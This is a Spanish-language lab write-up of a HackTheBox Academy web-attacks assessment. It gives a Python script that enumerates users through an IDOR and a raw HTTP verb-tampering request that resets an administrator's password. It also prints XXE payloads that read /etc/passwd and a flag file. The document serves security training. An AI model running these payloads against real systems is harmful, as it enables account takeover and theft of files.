{"url":"https://www.writeups.es/writeups/hackthebox/web-attacks-skills-assessment/juanluismm520","machine":{"name":"Web Attacks - Skills Assessment","slug":"web-attacks-skills-assessment","platform":"HackTheBox","platform_slug":"hackthebox","difficulty":"medio","difficulty_label":"Medio","operating_system":["Linux","Web"],"tags":["web","idor","xxe","tampering"],"original_url":"https://academy.hackthebox.com/app/module/134/section/1219"},"author":{"nickname":"juanluismm520","url":"https://www.writeups.es/u/juanluismm520","bio":"Drinking cherry chouffe"},"summary":"Máquina que hay que encadenar, idor, con enumeración de usuarios, buscar al admin, cambiarle la contraseña mediante verb tampering y crear un evento vulenrable a XXE.","outline":[{"level":1,"title":"Exploración de rutas","anchor":"https://www.writeups.es/writeups/hackthebox/web-attacks-skills-assessment/juanluismm520#exploracion-de-rutas"},{"level":2,"title":"Explotación IDOR + Verb Tampering","anchor":"https://www.writeups.es/writeups/hackthebox/web-attacks-skills-assessment/juanluismm520#explotacion-idor-verb-tampering"},{"level":3,"title":"Código","anchor":"https://www.writeups.es/writeups/hackthebox/web-attacks-skills-assessment/juanluismm520#codigo"},{"level":3,"title":"Hallazgo y explotación","anchor":"https://www.writeups.es/writeups/hackthebox/web-attacks-skills-assessment/juanluismm520#hallazgo-y-explotacion"},{"level":2,"title":"Explotación XXE","anchor":"https://www.writeups.es/writeups/hackthebox/web-attacks-skills-assessment/juanluismm520#explotacion-xxe"},{"level":3,"title":"Identificación","anchor":"https://www.writeups.es/writeups/hackthebox/web-attacks-skills-assessment/juanluismm520#identificacion"},{"level":3,"title":"Explotación","anchor":"https://www.writeups.es/writeups/hackthebox/web-attacks-skills-assessment/juanluismm520#explotacion"}],"cves":[],"code_languages":["python","json","http","xml"],"stats":{"words":228,"reading_minutes":1,"votes":0},"content_markdown":"# Exploración de rutas\nNavegando por la web vemos rutas que son interesantes que probablemente nos lleven a encadernar diferentes `IDORs`. Estas rutas son:\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/b7131ae8-9b01-49c9-9ed9-437363cb8c2a.webp)\n\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/dfd22090-b129-4f6b-a5b7-b34be9a6a622.webp)\n\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/f59cd2e5-e938-43ec-9de1-1fab4bcbfc5d.webp)\n\nAdemás se debe encadenar en dicho orden, obtenemos el uid de un usuario administrador, obtenemos su token y luego le cambiamos la contraseña con el token. \n\n## Explotación IDOR + Verb Tampering\nCon ayuda de una IA hacemos un script sencillo que recorre todos los usuarios `/api.php/user/{id}` del 0 al 200. \n\n### Código \n```python\n#!/usr/bin/env python3\n\nimport csv\nimport requests\n\nBASE_URL = \"http://154.57.164.64:31147\"\nCOOKIE = {\n    \"PHPSESSID\": \"h5ntuv948l6cimvs5mesgu72pd\",\n    \"uid\": \"74\",\n}\n\nheaders = {\n    \"User-Agent\": \"Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0\",\n    \"Accept\": \"*/*\",\n    \"Referer\": f\"{BASE_URL}/profile.php\",\n}\n\nresults = []\n\nfor uid in range(1, 201):\n    url = f\"{BASE_URL}/api.php/user/{uid}\"\n\n    try:\n        r = requests.get(\n            url,\n            headers=headers,\n            cookies=COOKIE,\n            timeout=5\n        )\n\n        data = r.json()\n\n        if isinstance(data, dict):\n            data[\"_requested_uid\"] = uid\n            results.append(data)\n            print(f\"[+] UID {uid}: {data}\")\n        else:\n            print(f\"[-] UID {uid}: respuesta inesperada\")\n\n    except requests.RequestException as e:\n        print(f\"[!] UID {uid}: {e}\")\n    except ValueError:\n        print(f\"[-] UID {uid}: no es JSON\")\n\n# Todas las claves encontradas en cualquier respuesta\nfields = set()\n\nfor row in results:\n    fields.update(row.keys())\n\nfields = sorted(fields)\n\nwith open(\"users.csv\", \"w\", newline=\"\", encoding=\"utf-8\") as f:\n    writer = csv.DictWriter(\n        f,\n        fieldnames=fields,\n        extrasaction=\"ignore\"\n    )\n\n    writer.writeheader()\n\n    for row in results:\n        writer.writerow(row)\n\nprint(f\"\\n[+] Guardado en users.csv\")\nprint(f\"[+] Usuarios encontrados: {len(results)}\")\nprint(f\"[+] Campos encontrados: {', '.join(fields)}\")\n```\n\n### Hallazgo y explotación\nAnalizando el csv vemos que solo hay 100 usuarios (del 1 al 100) y que el número 52 tiene la compañía \"Administrador\"\n```json\n{\"uid\":\"52\",\"username\":\"a.corrales\",\"full_name\":\"Amor Corrales\",\"company\":\"Administrator\"}\n```\n\nNos interesa seguir por esta vía y probar que pasa. Cojamos su token mediante `/api.php/token/52`\n```json\n{\"token\":\"e51a85fa-17ac-11ec-8e51-e78234eb7b0c\"}\n```\n\nY ahora le cambiamos la contraseña y nos logueamos. Para ello\n```http\nPOST /reset.php HTTP/1.1\nHost: 154.57.164.66:31872\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: http://154.57.164.66:31872/settings.php\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 67\nOrigin: http://154.57.164.66:31872\nDNT: 1\nConnection: keep-alive\nCookie: PHPSESSID=jasq1ubs7b66d4ss2gvfo8nq15; uid=52\nPriority: u=4\n\nuid=52&token=e51a85fa-17ac-11ec-8e51-e78234eb7b0c&password=Test520!\n```\n\nNos devuelve **Acces Denied** por lo que no ha sido tan fácil como esperabamos. \n\nAplicamos `Verb Tampering` a la petición, cambiando `POST` por `GET`\n```http\nGET /reset.php?uid=52&token=e51a85fa-17ac-11ec-8e51-e78234eb7b0c&password=Test520! HTTP/1.1\nHost: 154.57.164.66:31872\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: http://154.57.164.66:31872/settings.php\nOrigin: http://154.57.164.66:31872\nDNT: 1\nConnection: keep-alive\nCookie: PHPSESSID=jasq1ubs7b66d4ss2gvfo8nq15; uid=52\nPriority: u=4\n```\n\nObtenemos **Password changed successfully**, así que vamos a probarlo\nUsername: a.corrales\nPass: Test520!\n\n\n\n## Explotación XXE\n### Identificación\nUna vez dentro vemos que podemos crear eventos\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/7fd129ed-4eef-4774-9034-c4d8851d0def.webp)\n\nSecillamente estamos ante `XXE` debido a la petición que es dada\n```http\nPOST /addEvent.php HTTP/1.1\nHost: 154.57.164.66:31872\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: http://154.57.164.66:31872/event.php\nContent-Type: text/plain;charset=UTF-8\nContent-Length: 158\nOrigin: http://154.57.164.66:31872\nDNT: 1\nConnection: keep-alive\nCookie: PHPSESSID=jasq1ubs7b66d4ss2gvfo8nq15; uid=52\nPriority: u=4\n\n\n            <root>\n            <name>Event</name>\n            <details>Details</details>\n            <date>2026-09-09</date>\n            </root>\n```\n\nNos devuelve **Event 'Event' has been created.** por lo que tenemos el XXE en el campo `Event`\n\n### Explotación\nPara ello en la petición ponemos\n```http\nPOST /addEvent.php HTTP/1.1\nHost: 154.57.164.66:31872\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: http://154.57.164.66:31872/event.php\nContent-Type: text/plain;charset=UTF-8\nContent-Length: 224\nOrigin: http://154.57.164.66:31872\nDNT: 1\nConnection: keep-alive\nCookie: PHPSESSID=jasq1ubs7b66d4ss2gvfo8nq15; uid=52\nPriority: u=4\n\n<!DOCTYPE email [\n  <!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n]>\n            <root>\n            <name>&xxe;</name>\n            <details>Details</details>\n            <date>2026-09-09</date>\n            </root>\n            \n```\n\nY la response nos devuelve\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/7c9752a6-6089-4ed2-8ebd-e80ae8f4f817.webp)\n\nPor lo que nos queda encontrar la flag. \n\nUsamos este código ahora\n```xml\n<!DOCTYPE email [\n  <!ENTITY xxe SYSTEM \"php://filter/convert.base64-encode/resource=/flag.php\">\n]>\n```\n\nY obtenemos así:\n\n> [!SPOILER]\n> ![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/7f2b0325-4c6b-4146-9709-64c18b0ca7b6.webp)\n","published_at":"2026-09-27T15:40:49.215366+00:00","updated_at":"2026-09-28T16:59:11.748949+00:00","license":"CC BY-SA 4.0","attribution":"Writeup de juanluismm520 publicado en writeups.es — https://www.writeups.es/writeups/hackthebox/web-attacks-skills-assessment/juanluismm520"}